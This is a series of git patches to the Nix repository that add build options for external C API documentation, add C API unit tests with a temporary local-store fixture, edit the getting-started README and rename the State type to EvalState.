build --- doc/external-api/local.mk | 6 +++--- flake.nix | 7 +++++++ package.nix | 16 ++++++++++++---- 3 files changed, 22 insertions(+), 7 deletions(-) diff --git a/doc/external-api/local.mk b/doc/external-api/local.mk index a0f6e26fc..aa501198b 100644 --- a/doc/external-api/local.mk +++ b/doc/external-api/local.mk @@ -1,19 +1,19 @@ .PHONY: external-api-html -ifeq ($(internal_api_docs), yes) +ifeq ($(external_api_docs), yes) $(docdir)/external-api/html/index.html $(docdir)/external-api/latex: $(d)/doxygen.cfg mkdir -p $(docdir)/external-api { cat $< ; echo "OUTPUT_DIRECTORY=$(docdir)/external-api" ; } | doxygen - -# Generate the HTML API docs for Nix's unstable internal interfaces. +# Generate the HTML API docs for Nix's unstable external interfaces. external-api-html: $(docdir)/external-api/html/index.html else # Make a nicer error message external-api-html: - @echo "Internal API docs are disabled. Configure with '--enable-external-api-docs', or avoid calling 'make external-api-html'." + @echo "External API docs are disabled. Configure with '--enable-external-api-docs', or avoid calling 'make external-api-html'." @exit 1 endif diff --git a/flake.nix b/flake.nix index 89b928e83..be4e68783 100644 --- a/flake.nix +++ b/flake.nix @@ -285,6 +285,13 @@ enableInternalAPIDocs = true; }; + # API docs for Nix's C bindings. + external-api-docs = nixpkgsFor.x86_64-linux.native.callPackage ./package.nix { + inherit fileset; + doBuild = false; + enableExternalAPIDocs = true; + }; + # System tests. tests = import ./tests/nixos { inherit lib nixpkgs nixpkgsFor; } // { diff --git a/package.nix b/package.nix index a334ae48c..af4ca9b46 100644 --- a/package.nix +++ b/package.nix @@ -5,6 +5,7 @@ , autoreconfHook , aws-sdk-cpp , boehmgc +, buildPackages , nlohmann_json , bison , boost @@ -91,9 +92,10 @@ # - readline , readlineFlavor ? if stdenv.hostPlatform.isWindows then "readline" else "editline" -# Whether to build the internal API docs, can be done separately from +# Whether to build the internal/external API docs, can be done separately from # everything else. , enableInternalAPIDocs ? false +, enableExternalAPIDocs ? false # Whether to install unit tests. This is useful when cross compiling # since we cannot run them natively during the build, but can do so @@ -199,7 +201,7 @@ in { ++ lib.optional doBuild "dev" # If we are doing just build or just docs, the one thing will use # "out". We only need additional outputs if we are doing both. - ++ lib.optional (doBuild && (enableManual || enableInternalAPIDocs)) "doc" + ++ lib.optional (doBuild && (enableManual || enableInternalAPIDocs || enableExternalAPIDocs)) "doc" ++ lib.optional installUnitTests "check"; nativeBuildInputs = [ @@ -221,7 +223,7 @@ in { ] ++ lib.optionals (doInstallCheck || enableManual) [ jq # Also for custom mdBook preprocessor. ] ++ lib.optional stdenv.hostPlatform.isLinux util-linux - ++ lib.optional enableInternalAPIDocs doxygen + ++ lib.optional (enableInternalAPIDocs || enableExternalAPIDocs) doxygen ; buildInputs = lib.optionals doBuild [ @@ -285,6 +287,7 @@ in { (lib.enableFeature buildUnitTests "unit-tests") (lib.enableFeature doInstallCheck "functional-tests") (lib.enableFeature enableInternalAPIDocs "internal-api-docs") + (lib.enableFeature enableExternalAPIDocs "external-api-docs") (lib.enableFeature enableManual "doc-gen") (lib.enableFeature enableGC "gc") (lib.enableFeature enableMarkdown "markdown") @@ -309,7 +312,8 @@ in { makeFlags = "profiledir=$(out)/etc/profile.d PRECOMPILE_HEADERS=1"; installTargets = lib.optional doBuild "install" - ++ lib.optional enableInternalAPIDocs "internal-api-html"; + ++ lib.optional enableInternalAPIDocs "internal-api-html" + ++ lib.optional enableExternalAPIDocs "external-api-html"; installFlags = "sysconfdir=$(out)/etc"; @@ -336,6 +340,10 @@ in { '' + lib.optionalString enableInternalAPIDocs '' mkdir -p ''${!outputDoc}/nix-support echo "doc internal-api-docs $out/share/doc/nix/internal-api/html" >> ''${!outputDoc}/nix-support/hydra-build-products + '' + + lib.optionalString enableExternalAPIDocs '' + mkdir -p ''${!outputDoc}/nix-support + echo "doc external-api-docs $out/share/doc/nix/external-api/html" >> ''${!outputDoc}/nix-support/hydra-build-products ''; # So the check output gets links for DLLs in the out output. From ac3a9c6605d43bb808e3ae864302141867051be5 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jos=C3=A9=20Luis=20Lafuente?= Date: Wed, 3 Jan 2024 19:10:43 +0100 Subject: [PATCH 0348/1251] C API: add nix_api_expr tests --- tests/unit/libexpr/local.mk | 2 +- tests/unit/libexpr/nix_api_expr.cc | 82 +++++++++++++++++++ .../libstore-support/tests/nix_api_store.hh | 40 +++++++++ tests/unit/libstore/nix_api_store.cc | 31 +++---- .../libutil-support/tests/nix_api_util.hh | 8 +- 5 files changed, 139 insertions(+), 24 deletions(-) create mode 100644 tests/unit/libexpr/nix_api_expr.cc create mode 100644 tests/unit/libstore-support/tests/nix_api_store.hh diff --git a/tests/unit/libexpr/local.mk b/tests/unit/libexpr/local.mk index eda65508d..0a7b28436 100644 --- a/tests/unit/libexpr/local.mk +++ b/tests/unit/libexpr/local.mk @@ -32,6 +32,6 @@ libexpr-tests_CXXFLAGS += $(libexpr-tests_EXTRA_INCLUDES) libexpr-tests_LIBS = \ libexpr-test-support libstore-test-support libutils-test-support \ - libexpr libfetchers libstore libutil + libexpr libexprc libfetchers libstore libstorec libutil libutilc libexpr-tests_LDFLAGS := -lrapidcheck $(GTEST_LIBS) -lgmock diff --git a/tests/unit/libexpr/nix_api_expr.cc b/tests/unit/libexpr/nix_api_expr.cc new file mode 100644 index 000000000..03de4547a --- /dev/null +++ b/tests/unit/libexpr/nix_api_expr.cc @@ -0,0 +1,82 @@ +#include "nix_api_store.h" +#include "nix_api_store_internal.h" +#include "nix_api_util.h" +#include "nix_api_util_internal.h" +#include "nix_api_expr.h" +#include "nix_api_value.h" + +#include "tests/nix_api_store.hh" + +#include + +namespace nixC { + +class nix_api_expr_test : public nix_api_store_test +{ +public: + nix_api_expr_test() + { + state = nix_state_create(nullptr, nullptr, store); + value = nix_alloc_value(nullptr, state); + } + ~nix_api_expr_test() + { + nix_gc_decref(nullptr, value); + nix_state_free(state); + } + + State * state; + Value * value; +}; + +TEST_F(nix_api_expr_test, nix_expr_eval_from_string) +{ + nix_expr_eval_from_string(nullptr, state, "builtins.nixVersion", ".", value); + nix_value_force(nullptr, state, value); + auto result = nix_get_string(nullptr, value); + + ASSERT_STREQ(PACKAGE_VERSION, result); +} + +TEST_F(nix_api_expr_test, nix_expr_eval_add_numbers) +{ + nix_expr_eval_from_string(nullptr, state, "1 + 1", ".", value); + nix_value_force(nullptr, state, value); + auto result = nix_get_int(nullptr, value); + + ASSERT_EQ(2, result); +} + +TEST_F(nix_api_expr_test, nix_expr_eval_drv) +{ + auto expr = R"(derivation { name = "myname"; builder = "mybuilder"; system = "mysystem"; })"; + nix_expr_eval_from_string(nullptr, state, expr, ".", value); + nix_value_force(nullptr, state, value); + + ASSERT_EQ(NIX_TYPE_ATTRS, nix_get_type(nullptr, value)); + + auto stateFn = nix_state_create(nullptr, nullptr, store); + auto valueFn = nix_alloc_value(nullptr, state); + nix_expr_eval_from_string(nullptr, stateFn, "builtins.toString", ".", valueFn); + + ASSERT_EQ(NIX_TYPE_FUNCTION, nix_get_type(nullptr, valueFn)); + + auto stateResult = nix_state_create(nullptr, nullptr, store); + auto valueResult = nix_alloc_value(nullptr, stateResult); + + nix_value_call(ctx, stateResult, valueFn, value, valueResult); + nix_value_force(nullptr, stateResult, valueResult); + + auto p = nix_get_string(nullptr, valueResult); + + ASSERT_STREQ("/nix/store/40s0qmrfb45vlh6610rk29ym318dswdr-myname", p); + + // Clean up + nix_gc_decref(nullptr, valueFn); + nix_state_free(stateFn); + + nix_gc_decref(nullptr, valueResult); + nix_state_free(stateResult); +} + +} diff --git a/tests/unit/libstore-support/tests/nix_api_store.hh b/tests/unit/libstore-support/tests/nix_api_store.hh new file mode 100644 index 000000000..e762a3ca8 --- /dev/null +++ b/tests/unit/libstore-support/tests/nix_api_store.hh @@ -0,0 +1,40 @@ +#pragma once +///@file +#include "tests/nix_api_util.hh" + +#include "nix_api_store.h" +#include "nix_api_store_internal.h" + +#include +#include + +namespace fs = std::filesystem; + +class nix_api_store_test : public nix_api_util_context +{ +public: + nix_api_store_test() + { + nix_libstore_init(ctx); + + auto tmpl = nix::getEnv("TMPDIR").value_or("/tmp") + "/tests_nix-store.XXXXXX"; + nixStoreDir = mkdtemp((char *) tmpl.c_str()); + + // Options documented in `nix help-stores` + const char * p1[] = {"root", nixStoreDir.c_str()}; + const char ** params[] = {p1, nullptr}; + store = nix_store_open(ctx, "local", params); + }; + ~nix_api_store_test() override + { + nix_store_unref(store); + + for (auto & path : fs::recursive_directory_iterator(nixStoreDir)) { + fs::permissions(path, fs::perms::owner_all); + } + fs::remove_all(nixStoreDir); + } + + Store * store; + std::string nixStoreDir; +}; diff --git a/tests/unit/libstore/nix_api_store.cc b/tests/unit/libstore/nix_api_store.cc index 3fe55ae93..764cd0d88 100644 --- a/tests/unit/libstore/nix_api_store.cc +++ b/tests/unit/libstore/nix_api_store.cc @@ -2,7 +2,8 @@ #include "nix_api_util_internal.h" #include "nix_api_store.h" #include "nix_api_store_internal.h" -#include "tests/nix_api_util.hh" + +#include "tests/nix_api_store.hh" #define STORE_DIR "/nix/store/" #define HASH_PART "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q" @@ -10,24 +11,6 @@ const char * validPath = STORE_DIR HASH_PART "-x"; namespace nixC { -class nix_api_store_test : public nix_api_util_context -{ -public: - void SetUp() override - { - nix_api_util_context::SetUp(); - nix_libstore_init(ctx); - store = nix_store_open(ctx, "dummy://", NULL); - }; - void TearDown() override - { - nix_store_unref(store); - nix_api_util_context::TearDown(); - } - - Store * store; -}; - TEST_F(nix_api_util_context, nix_libstore_init) { auto ret = nix_libstore_init(ctx); @@ -39,7 +22,7 @@ TEST_F(nix_api_store_test, nix_store_get_uri) char value[256]; auto ret = nix_store_get_uri(ctx, store, value, 256); ASSERT_EQ(NIX_OK, ret); - ASSERT_STREQ("dummy", value); + ASSERT_STREQ("local", value); } TEST_F(nix_api_store_test, InvalidPathFails) @@ -67,4 +50,12 @@ TEST_F(nix_api_store_test, DoesNotCrashWhenContextIsNull) ASSERT_NO_THROW(nix_store_parse_path(nullptr, store, validPath)); } +TEST_F(nix_api_store_test, get_version) +{ + char value[256]; + auto ret = nix_store_get_version(ctx, store, value, 256); + ASSERT_EQ(NIX_OK, ret); + ASSERT_STREQ(PACKAGE_VERSION, value); +} + } diff --git a/tests/unit/libutil-support/tests/nix_api_util.hh b/tests/unit/libutil-support/tests/nix_api_util.hh index f2ee58da2..b007ac4b1 100644 --- a/tests/unit/libutil-support/tests/nix_api_util.hh +++ b/tests/unit/libutil-support/tests/nix_api_util.hh @@ -4,7 +4,6 @@ #include - class nix_api_util_context : public ::testing::Test { protected: @@ -12,14 +11,17 @@ protected: { nix_libutil_init(NULL); } - void SetUp() override + + nix_api_util_context() { ctx = nix_c_context_create(); }; - void TearDown() override + + ~nix_api_util_context() override { nix_c_context_free(ctx); ctx = nullptr; } + nix_c_context * ctx; }; From 92dacec0e4ad4a3e1a6104b6ac93ad109c5ae0ed Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jos=C3=A9=20Luis=20Lafuente?= Date: Fri, 5 Jan 2024 10:16:56 +0100 Subject: [PATCH 0349/1251] C API: Apply documentation suggestions Co-authored-by: asymmetric --- doc/external-api/README.md | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/doc/external-api/README.md b/doc/external-api/README.md index 3b802952c..ff0a30ff4 100644 --- a/doc/external-api/README.md +++ b/doc/external-api/README.md @@ -1,6 +1,7 @@ # Getting started -These C bindings are **experimental** at the moment, which means they can still change any time or get removed again, but the plan is to provide a stable external C API to the Nix language and the Nix store. +> **Warning** +> These bindings are **experimental**, which means they can change at any time or be removed outright; nevertheless the plan is to provide a stable external C API to the Nix language and the Nix store. The language library allows evaluating Nix expressions and interacting with Nix language values. The Nix store API is still rudimentary, and only allows initialising and connecting to a store for the Nix language evaluator to interact with. @@ -49,7 +50,7 @@ int main() { ``` **Usage:** -``` +```ShellSession $ gcc main.c $(pkg-config nix-expr-c --libs --cflags) -o main $ ./main Nix version: 2.17 @@ -84,7 +85,7 @@ void nix_plugin_entry() { ``` **Usage:** -``` +```ShellSession $ gcc plugin.c $(pkg-config nix-expr-c --libs --cflags) -shared -o plugin.so $ nix --plugin-files ./plugin.so repl nix-repl> builtins.increment 1 From 24604d024a187dd06544ddbda880ab4bc4bcdb4d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jos=C3=A9=20Luis=20Lafuente?= Date: Tue, 9 Jan 2024 22:51:39 +0100 Subject: [PATCH 0350/1251] C API: fix docs build after rebase --- Makefile | 9 +++++++++ Makefile.config.in | 1 + configure.ac | 4 ++++ doc/external-api/README.md | 6 +++--- doc/external-api/local.mk | 16 ++-------------- package.nix | 3 +++ src/libstore/c/nix_api_store.h | 2 +- 7 files changed, 23 insertions(+), 18 deletions(-) diff --git a/Makefile b/Makefile index d9efc8154..ae4a8f0a4 100644 --- a/Makefile +++ b/Makefile @@ -129,3 +129,12 @@ internal-api-html: @echo "Internal API docs are disabled. Configure with '--enable-internal-api-docs', or avoid calling 'make internal-api-html'." @exit 1 endif + +ifeq ($(ENABLE_EXTERNAL_API_DOCS), yes) +$(eval $(call include-sub-makefile, doc/external-api/local.mk)) +else +.PHONY: external-api-html +external-api-html: + @echo "External API docs are disabled. Configure with '--enable-external-api-docs', or avoid calling 'make external-api-html'." + @exit 1 +endif diff --git a/Makefile.config.in b/Makefile.config.in index d5c382630..7f517898c 100644 --- a/Makefile.config.in +++ b/Makefile.config.in @@ -12,6 +12,7 @@ ENABLE_BUILD = @ENABLE_BUILD@ ENABLE_DOC_GEN = @ENABLE_DOC_GEN@ ENABLE_FUNCTIONAL_TESTS = @ENABLE_FUNCTIONAL_TESTS@ ENABLE_INTERNAL_API_DOCS = @ENABLE_INTERNAL_API_DOCS@ +ENABLE_EXTERNAL_API_DOCS = @ENABLE_EXTERNAL_API_DOCS@ ENABLE_S3 = @ENABLE_S3@ ENABLE_UNIT_TESTS = @ENABLE_UNIT_TESTS@ GTEST_LIBS = @GTEST_LIBS@ diff --git a/configure.ac b/configure.ac index c3823c01c..1d327d51d 100644 --- a/configure.ac +++ b/configure.ac @@ -177,6 +177,10 @@ AC_ARG_ENABLE(internal-api-docs, AS_HELP_STRING([--enable-internal-api-docs],[Bu ENABLE_INTERNAL_API_DOCS=$enableval, ENABLE_INTERNAL_API_DOCS=no) AC_SUBST(ENABLE_INTERNAL_API_DOCS) +AC_ARG_ENABLE(external-api-docs, AS_HELP_STRING([--enable-external-api-docs],[Build API docs for Nix's external unstable C interfaces]), + ENABLE_EXTERNAL_API_DOCS=$enableval, ENABLE_EXTERNAL_API_DOCS=no) +AC_SUBST(ENABLE_EXTERNAL_API_DOCS) + AS_IF( [test "$ENABLE_FUNCTIONAL_TESTS" == "yes" || test "$ENABLE_DOC_GEN" == "yes"], [NEED_PROG(jq, jq)]) diff --git a/doc/external-api/README.md b/doc/external-api/README.md index ff0a30ff4..3fa1c55f9 100644 --- a/doc/external-api/README.md +++ b/doc/external-api/README.md @@ -48,7 +48,7 @@ int main() { return 0; } ``` - + **Usage:** ```ShellSession $ gcc main.c $(pkg-config nix-expr-c --libs --cflags) -o main @@ -66,7 +66,7 @@ It will increment the argument if it is an integer and throw an error otherwise. #include #include #include - + void increment(void* user_data, nix_c_context* ctx, State* state, Value** args, Value* v) { nix_value_force(NULL, state, args[0]); if (nix_get_type(NULL, args[0]) == NIX_TYPE_INT) { @@ -75,7 +75,7 @@ void increment(void* user_data, nix_c_context* ctx, State* state, Value** args, nix_set_err_msg(ctx, NIX_ERR_UNKNOWN, "First argument should be an integer."); } } - + void nix_plugin_entry() { const char* args[] = {"n", NULL}; PrimOp *p = nix_alloc_primop(NULL, increment, 1, "increment", args, "Example custom built-in function: increments an integer", NULL); diff --git a/doc/external-api/local.mk b/doc/external-api/local.mk index aa501198b..c739bdaf0 100644 --- a/doc/external-api/local.mk +++ b/doc/external-api/local.mk @@ -1,19 +1,7 @@ -.PHONY: external-api-html - -ifeq ($(external_api_docs), yes) - $(docdir)/external-api/html/index.html $(docdir)/external-api/latex: $(d)/doxygen.cfg mkdir -p $(docdir)/external-api { cat $< ; echo "OUTPUT_DIRECTORY=$(docdir)/external-api" ; } | doxygen - -# Generate the HTML API docs for Nix's unstable external interfaces. +# Generate the HTML API docs for Nix's unstable C bindings +.PHONY: external-api-html external-api-html: $(docdir)/external-api/html/index.html - -else - -# Make a nicer error message -external-api-html: - @echo "External API docs are disabled. Configure with '--enable-external-api-docs', or avoid calling 'make external-api-html'." - @exit 1 - -endif diff --git a/package.nix b/package.nix index af4ca9b46..c9e50c399 100644 --- a/package.nix +++ b/package.nix @@ -184,6 +184,9 @@ in { ./doc/manual ] ++ lib.optionals enableInternalAPIDocs [ ./doc/internal-api + ] ++ lib.optionals enableExternalAPIDocs [ + ./doc/external-api + ] ++ lib.optionals (enableInternalAPIDocs || enableExternalAPIDocs) [ # Source might not be compiled, but still must be available # for Doxygen to gather comments. ./src diff --git a/src/libstore/c/nix_api_store.h b/src/libstore/c/nix_api_store.h index 91abdb201..7732ade6b 100644 --- a/src/libstore/c/nix_api_store.h +++ b/src/libstore/c/nix_api_store.h @@ -109,7 +109,7 @@ bool nix_store_is_valid_path(nix_c_context * context, Store * store, StorePath * /** * @brief Realise a Nix store path * - * Blocking, calls callback once for each realisedoutput + * Blocking, calls callback once for each realised output * * @param[out] context Optional, stores error information * @param[in] store Nix Store reference From 535694122e4cbbffa04fec903002ba08cf9deb53 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jos=C3=A9=20Luis=20Lafuente?= Date: Wed, 10 Jan 2024 11:58:35 +0100 Subject: [PATCH 0351/1251] C API: rename State to EvalState --- doc/external-api/README.md | 49 +++++++++++++++++---------- src/libexpr/c/nix_api_expr.cc | 16 ++++----- src/libexpr/c/nix_api_expr.h | 24 ++++++------- src/libexpr/c/nix_api_expr_internal.h | 2 +- src/libexpr/c/nix_api_external.cc | 5 +-- src/libexpr/c/nix_api_external.h | 11 ++++-- src/libexpr/c/nix_api_value.cc | 18 +++++----- src/libexpr/c/nix_api_value.h | 22 ++++++------ tests/unit/libexpr/nix_api_expr.cc | 2 +- 9 files changed, 85 insertions(+), 64 deletions(-) diff --git a/doc/external-api/README.md b/doc/external-api/README.md index 3fa1c55f9..e9ca25ab6 100644 --- a/doc/external-api/README.md +++ b/doc/external-api/README.md @@ -1,30 +1,40 @@ # Getting started -> **Warning** -> These bindings are **experimental**, which means they can change at any time or be removed outright; nevertheless the plan is to provide a stable external C API to the Nix language and the Nix store. +> **Warning** These bindings are **experimental**, which means they can change +> at any time or be removed outright; nevertheless the plan is to provide a +> stable external C API to the Nix language and the Nix store. -The language library allows evaluating Nix expressions and interacting with Nix language values. -The Nix store API is still rudimentary, and only allows initialising and connecting to a store for the Nix language evaluator to interact with. +The language library allows evaluating Nix expressions and interacting with Nix +language values. The Nix store API is still rudimentary, and only allows +initialising and connecting to a store for the Nix language evaluator to +interact with. + +Currently there are two ways to interface with the Nix language evaluator +programmatically: -Currently there are two ways to interface with the Nix language evaluator programmatically: 1. Embedding the evaluator 2. Writing language plug-ins -Embedding means you link the Nix C libraries in your program and use them from there. -Adding a plug-in means you make a library that gets loaded by the Nix language evaluator, specified through a configuration option. +Embedding means you link the Nix C libraries in your program and use them from +there. Adding a plug-in means you make a library that gets loaded by the Nix +language evaluator, specified through a configuration option. -Many of the components and mechanisms involved are not yet documented, therefore please refer to the [Nix source code](https://github.com/NixOS/nix/) for details. -Additions to in-code documentation and the reference manual are highly appreciated. +Many of the components and mechanisms involved are not yet documented, therefore +please refer to the [Nix source code](https://github.com/NixOS/nix/) for +details. Additions to in-code documentation and the reference manual are highly +appreciated. - -The following examples, for simplicity, don't include error handling. -See the [Handling errors](@ref errors) section for more information. +The following examples, for simplicity, don't include error handling. See the +[Handling errors](@ref errors) section for more information. # Embedding the Nix Evaluator -In this example we programmatically start the Nix language evaluator with a dummy store (that has no store paths and cannot be written to), and evaluate the Nix expression `builtins.nixVersion`. +In this example we programmatically start the Nix language evaluator with a +dummy store (that has no store paths and cannot be written to), and evaluate the +Nix expression `builtins.nixVersion`. **main.c:** + ```C #include #include @@ -35,7 +45,7 @@ int main() { nix_libexpr_init(NULL); Store* store = nix_store_open(NULL, "dummy://", NULL); - State* state = nix_state_create(NULL, NULL, store); // empty search path (NIX_PATH) + EvalState* state = nix_state_create(NULL, NULL, store); // empty search path (NIX_PATH) Value *value = nix_alloc_value(NULL, state); nix_expr_eval_from_string(NULL, state, "builtins.nixVersion", ".", value); @@ -50,24 +60,26 @@ int main() { ``` **Usage:** + ```ShellSession $ gcc main.c $(pkg-config nix-expr-c --libs --cflags) -o main $ ./main Nix version: 2.17 ``` - # Writing a Nix language plug-in -In this example we add a custom primitive operation (*primop*) to `builtins`. -It will increment the argument if it is an integer and throw an error otherwise. + +In this example we add a custom primitive operation (_primop_) to `builtins`. It +will increment the argument if it is an integer and throw an error otherwise. **plugin.c:** + ```C #include #include #include -void increment(void* user_data, nix_c_context* ctx, State* state, Value** args, Value* v) { +void increment(void* user_data, nix_c_context* ctx, EvalState* state, Value** args, Value* v) { nix_value_force(NULL, state, args[0]); if (nix_get_type(NULL, args[0]) == NIX_TYPE_INT) { nix_set_int(NULL, v, nix_get_int(NULL, args[0]) + 1); @@ -85,6 +97,7 @@ void nix_plugin_entry() { ``` **Usage:** + ```ShellSession $ gcc plugin.c $(pkg-config nix-expr-c --libs --cflags) -shared -o plugin.so $ nix --plugin-files ./plugin.so repl diff --git a/src/libexpr/c/nix_api_expr.cc b/src/libexpr/c/nix_api_expr.cc index dc114c777..f18ef399b 100644 --- a/src/libexpr/c/nix_api_expr.cc +++ b/src/libexpr/c/nix_api_expr.cc @@ -41,8 +41,8 @@ nix_err nix_libexpr_init(nix_c_context * context) NIXC_CATCH_ERRS } -nix_err -nix_expr_eval_from_string(nix_c_context * context, State * state, const char * expr, const char * path, Value * value) +nix_err nix_expr_eval_from_string( + nix_c_context * context, EvalState * state, const char * expr, const char * path, Value * value) { if (context) context->last_err_code = NIX_OK; @@ -54,7 +54,7 @@ nix_expr_eval_from_string(nix_c_context * context, State * state, const char * e NIXC_CATCH_ERRS } -nix_err nix_value_call(nix_c_context * context, State * state, Value * fn, Value * arg, Value * value) +nix_err nix_value_call(nix_c_context * context, EvalState * state, Value * fn, Value * arg, Value * value) { if (context) context->last_err_code = NIX_OK; @@ -65,7 +65,7 @@ nix_err nix_value_call(nix_c_context * context, State * state, Value * fn, Value NIXC_CATCH_ERRS } -nix_err nix_value_force(nix_c_context * context, State * state, Value * value) +nix_err nix_value_force(nix_c_context * context, EvalState * state, Value * value) { if (context) context->last_err_code = NIX_OK; @@ -75,7 +75,7 @@ nix_err nix_value_force(nix_c_context * context, State * state, Value * value) NIXC_CATCH_ERRS } -nix_err nix_value_force_deep(nix_c_context * context, State * state, Value * value) +nix_err nix_value_force_deep(nix_c_context * context, EvalState * state, Value * value) { if (context) context->last_err_code = NIX_OK; @@ -85,7 +85,7 @@ nix_err nix_value_force_deep(nix_c_context * context, State * state, Value * val NIXC_CATCH_ERRS } -State * nix_state_create(nix_c_context * context, const char ** searchPath_c, Store * store) +EvalState * nix_state_create(nix_c_context * context, const char ** searchPath_c, Store * store) { if (context) context->last_err_code = NIX_OK; @@ -95,12 +95,12 @@ State * nix_state_create(nix_c_context * context, const char ** searchPath_c, St for (size_t i = 0; searchPath_c[i] != nullptr; i++) searchPath.push_back(searchPath_c[i]); - return new State{nix::EvalState(nix::SearchPath::parse(searchPath), store->ptr)}; + return new EvalState{nix::EvalState(nix::SearchPath::parse(searchPath), store->ptr)}; } NIXC_CATCH_ERRS_NULL } -void nix_state_free(State * state) +void nix_state_free(EvalState * state) { delete state; } diff --git a/src/libexpr/c/nix_api_expr.h b/src/libexpr/c/nix_api_expr.h index 8cc6c916c..7f32140a0 100644 --- a/src/libexpr/c/nix_api_expr.h +++ b/src/libexpr/c/nix_api_expr.h @@ -9,7 +9,7 @@ * nix_libexpr_init(NULL); * * Store* store = nix_store_open(NULL, "dummy", NULL); - * State* state = nix_state_create(NULL, NULL, store); // empty nix path + * EvalState* state = nix_state_create(NULL, NULL, store); // empty nix path * Value *value = nix_alloc_value(NULL, state); * * nix_expr_eval_from_string(NULL, state, "builtins.nixVersion", ".", value); @@ -42,10 +42,10 @@ extern "C" { * * Multiple states can be created for multi-threaded * operation. - * @struct State + * @struct EvalState * @see nix_state_create */ -typedef struct State State; // nix::EvalState +typedef struct EvalState EvalState; // nix::EvalState /** * @brief Represents a value in the Nix language. * @@ -60,7 +60,7 @@ typedef void Value; // nix::Value * @brief Initialize the Nix language evaluator. * * This function must be called at least once, - * at some point before constructing a State for the first time. + * at some point before constructing a EvalState for the first time. * This function can be called multiple times, and is idempotent. * * @param[out] context Optional, stores error information @@ -77,12 +77,12 @@ nix_err nix_libexpr_init(nix_c_context * context); * @param[in] path The file path to associate with the expression. * This is required for expressions that contain relative paths (such as `./.`) that are resolved relative to the given * directory. - * @param[out] value The result of the evaluation. You should allocate this + * @param[out] value The result of the evaluation. You must allocate this * yourself. * @return NIX_OK if the evaluation was successful, an error code otherwise. */ -nix_err -nix_expr_eval_from_string(nix_c_context * context, State * state, const char * expr, const char * path, Value * value); +nix_err nix_expr_eval_from_string( + nix_c_context * context, EvalState * state, const char * expr, const char * path, Value * value); /** * @brief Calls a Nix function with an argument. @@ -94,7 +94,7 @@ nix_expr_eval_from_string(nix_c_context * context, State * state, const char * e * @param[out] value The result of the function call. * @return NIX_OK if the function call was successful, an error code otherwise. */ -nix_err nix_value_call(nix_c_context * context, State * state, Value * fn, Value * arg, Value * value); +nix_err nix_value_call(nix_c_context * context, EvalState * state, Value * fn, Value * arg, Value * value); /** * @brief Forces the evaluation of a Nix value. @@ -116,7 +116,7 @@ nix_err nix_value_call(nix_c_context * context, State * state, Value * fn, Value * @return NIX_OK if the force operation was successful, an error code * otherwise. */ -nix_err nix_value_force(nix_c_context * context, State * state, Value * value); +nix_err nix_value_force(nix_c_context * context, EvalState * state, Value * value); /** * @brief Forces the deep evaluation of a Nix value. @@ -132,7 +132,7 @@ nix_err nix_value_force(nix_c_context * context, State * state, Value * value); * @return NIX_OK if the deep force operation was successful, an error code * otherwise. */ -nix_err nix_value_force_deep(nix_c_context * context, State * state, Value * value); +nix_err nix_value_force_deep(nix_c_context * context, EvalState * state, Value * value); /** * @brief Create a new Nix language evaluator state. @@ -142,7 +142,7 @@ nix_err nix_value_force_deep(nix_c_context * context, State * state, Value * val * @param[in] store The Nix store to use. * @return A new Nix state or NULL on failure. */ -State * nix_state_create(nix_c_context * context, const char ** searchPath, Store * store); +EvalState * nix_state_create(nix_c_context * context, const char ** searchPath, Store * store); /** * @brief Frees a Nix state. @@ -151,7 +151,7 @@ State * nix_state_create(nix_c_context * context, const char ** searchPath, Stor * * @param[in] state The state to free. */ -void nix_state_free(State * state); +void nix_state_free(EvalState * state); /** @addtogroup GC * @brief Reference counting and garbage collector operations diff --git a/src/libexpr/c/nix_api_expr_internal.h b/src/libexpr/c/nix_api_expr_internal.h index c9906dd3a..e116af165 100644 --- a/src/libexpr/c/nix_api_expr_internal.h +++ b/src/libexpr/c/nix_api_expr_internal.h @@ -4,7 +4,7 @@ #include "eval.hh" #include "attr-set.hh" -struct State +struct EvalState { nix::EvalState state; }; diff --git a/src/libexpr/c/nix_api_external.cc b/src/libexpr/c/nix_api_external.cc index a2d776a47..2e8a98567 100644 --- a/src/libexpr/c/nix_api_external.cc +++ b/src/libexpr/c/nix_api_external.cc @@ -148,7 +148,7 @@ public: } nix_string_context ctx{context}; nix_string_return res{""}; - desc.printValueAsJSON(v, (State *) &state, strict, &ctx, copyToStore, &res); + desc.printValueAsJSON(v, (EvalState *) &state, strict, &ctx, copyToStore, &res); if (res.str.empty()) { return nix::ExternalValueBase::printValueAsJSON(state, strict, context, copyToStore); } @@ -172,7 +172,8 @@ public: } nix_string_context ctx{context}; desc.printValueAsXML( - v, (State *) &state, strict, location, &doc, &ctx, &drvsSeen, *reinterpret_cast(&pos)); + v, (EvalState *) &state, strict, location, &doc, &ctx, &drvsSeen, + *reinterpret_cast(&pos)); } virtual ~NixCExternalValue() override{}; diff --git a/src/libexpr/c/nix_api_external.h b/src/libexpr/c/nix_api_external.h index 00eaa4460..daa74c5a8 100644 --- a/src/libexpr/c/nix_api_external.h +++ b/src/libexpr/c/nix_api_external.h @@ -136,7 +136,7 @@ typedef struct NixCExternalValueDesc * or setting it to the empty string, will make the conversion throw an error. */ void (*printValueAsJSON)( - void * self, State *, int strict, nix_string_context * c, bool copyToStore, nix_string_return * res); + void * self, EvalState *, int strict, nix_string_context * c, bool copyToStore, nix_string_return * res); /** * @brief Convert the external value to XML * @@ -154,7 +154,14 @@ typedef struct NixCExternalValueDesc * @param[in] pos The position of the call. */ void (*printValueAsXML)( - void * self, State *, int strict, int location, void * doc, nix_string_context * c, void * drvsSeen, int pos); + void * self, + EvalState *, + int strict, + int location, + void * doc, + nix_string_context * c, + void * drvsSeen, + int pos); } NixCExternalValueDesc; /** diff --git a/src/libexpr/c/nix_api_value.cc b/src/libexpr/c/nix_api_value.cc index b0fb960c6..ffa3aa5f7 100644 --- a/src/libexpr/c/nix_api_value.cc +++ b/src/libexpr/c/nix_api_value.cc @@ -43,7 +43,7 @@ static void nix_c_primop_wrapper( PrimOpFun f, void * userdata, nix::EvalState & state, const nix::PosIdx pos, nix::Value ** args, nix::Value & v) { nix_c_context ctx; - f(userdata, &ctx, (State *) &state, (Value **) args, (Value *) &v); + f(userdata, &ctx, (EvalState *) &state, (Value **) args, (Value *) &v); /* 